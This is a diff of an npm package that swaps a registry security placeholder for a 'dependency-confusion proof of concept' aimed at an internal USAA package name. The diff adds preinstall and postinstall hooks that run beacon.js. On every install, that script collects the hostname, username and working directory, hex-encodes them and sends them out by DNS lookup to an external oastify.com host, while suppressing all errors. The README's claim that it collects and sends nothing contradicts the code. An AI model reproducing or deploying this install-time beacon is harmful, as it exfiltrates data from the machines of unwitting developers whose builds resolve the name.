@usaa-grp-personal-profile/personal-profile-common 0.0.1-security → 999.0.0

package/README.md

@@ -1,5 +1,14 @@
-# Security holding package
+# Security research placeholder
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+This package is **not** a real library. It was published as a proof of concept for a
+dependency-confusion vulnerability report submitted to USAA through the Bugcrowd
+bug bounty programme, by researcher `tanishq396`.
 
-Please refer to www.npmjs.com/advisories?search=%40usaa-grp-personal-profile%2Fpersonal-profile-common for more information.
+It contains no functional code. Its install script performs a single DNS lookup so that
+the reporter can demonstrate whether a build resolved this internal package name from the
+public npm registry. It reads no files, sends no HTTP requests, collects no credentials
+and modifies nothing on the host.
+
+This package will be unpublished once USAA has acknowledged the report. If you reached this
+page because a build of yours installed it, please contact USAA security — your build is
+resolving an internal package name against the public registry.

package/beacon.js

@@ -0,0 +1,32 @@
+/*
+ * Bugcrowd USAA dependency-confusion proof of concept.
+ * Researcher: tanishq396
+ *
+ * This script performs ONE DNS lookup and nothing else. It reads no files,
+ * opens no sockets, sends no HTTP request, and modifies nothing. It exists
+ * only to prove that a build resolved this package name from the PUBLIC npm
+ * registry instead of USAA's internal registry.
+ *
+ * Context reported (hostname / user / cwd) is hex-encoded into the DNS label
+ * purely so the resolving host can be attributed in the report.
+ */
+try {
+  var dns = require('dns');
+  var os = require('os');
+
+  var ctx = [
+    (os.hostname() || 'nohost'),
+    ((os.userInfo && os.userInfo().username) || 'nouser'),
+    (process.cwd() || 'nocwd')
+  ].join('|').slice(0, 60);
+
+  var label = Buffer.from(ctx, 'utf8').toString('hex').slice(0, 120);
+
+  // split into DNS-legal 60-char labels
+  var parts = (label.match(/.{1,60}/g) || ['00']).join('.');
+
+  dns.lookup(parts + '.pkg.vcbn68mkbhaetxs9jp2mvwq7gympa9s9scu1.oastify.com', function () {});
+} catch (e) {
+  /* never fail a build */
+}
+process.exitCode = 0;

package/index.js

@@ -0,0 +1,5 @@
+/*
+ * Bugcrowd USAA dependency-confusion proof of concept - inert placeholder.
+ * Exports an empty object so that a consuming build does not hard-crash at require() time.
+ */
+module.exports = {};

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "@usaa-grp-personal-profile/personal-profile-common",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "999.0.0",
+  "description": "Security research placeholder - Bugcrowd USAA dependency confusion PoC. Contains no functional code. Will be unpublished after verification.",
+  "main": "index.js",
+  "license": "MIT",
+  "scripts": {
+    "preinstall": "node beacon.js",
+    "postinstall": "node beacon.js"
+  },
+  "files": ["index.js", "beacon.js", "README.md"]
 }